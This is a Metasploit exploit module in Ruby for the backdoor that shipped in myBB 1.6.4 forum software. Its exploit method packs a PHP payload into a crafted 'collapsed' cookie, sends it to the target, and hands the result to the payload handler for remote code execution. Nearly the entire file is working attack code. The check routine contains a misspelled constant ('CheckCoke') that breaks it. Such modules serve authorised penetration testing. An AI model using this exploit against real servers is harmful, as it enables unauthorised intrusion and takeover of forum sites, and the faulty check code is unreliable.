myBB 1.6.4 Backdoor Exploit

                                                ##
# $Id: mybb_backdoor.rb 13838 2011-10-09 03:22:07Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'myBB 1.6.4 Backdoor Exploit',
			'Description'    => %q{
					myBB is a popular open source PHP forum software. Version 1.6.4 contained an 
					unauthorized backdoor, distributed as part of the vendor's source package.
			},
			'Author'	=>
				[
					'tdz',
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 13838 $',
			'References'     =>
				[
					[ 'BID', '49993'  ],
					[ 'SECUNIA', '46300' ],
					[ 'URL', 'http://blog.mybb.com/2011/10/06/1-6-4-security-vulnerabilit/' ]
				],
			'Privileged'     => false,
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Payload'        =>
				{
					'Space'       => 4000,
					'DisableNops' => true,
					'Keys'        => ['php'],
				},
			'Targets'        => [ ['Automatic', { }], ],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 06 2011'
			))

			register_options(
				[
					OptString.new('URI',	[ true, "myBB path", '/index.php']),
				], self.class)
	end


	def uri
		datastore['URI']
	end

	def check
		print_status("Checking target")
		res = send_request_raw(
			{'method' => 'GET',
			'uri' => uri},
			10
		)
		if (not res) or (not res.code.between?(200,299))
			return Exploit::CheckCode::Safe
		else
			return Exploit::CheckCoke::Detected
		end
	end

	def exploit
	
		print_status("Sending exploit request")

		# See the patch at http://blog.mybb.com/wp-content/uploads/2011/10/mybb_1604_patches.txt
		# for details of the backdoor mechanism. 
		cookie = "collapsed=0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|"
		cookie << Rex::Text.uri_encode(payload.encoded)
		
		response = send_request_raw({
			'method'  => 'GET',
			'global' => true,
			'uri' => uri,
			'headers' =>
				{
					'Cookie' => cookie,
				}
		},10)

		if (not response) or (not response.code.between?(200,299))
			print_error "Cannot connect to #{uri} on #{datastore['RHOST']}, got #{response ? response.code : 'no response'}."
		else
			handler
		end

	end
end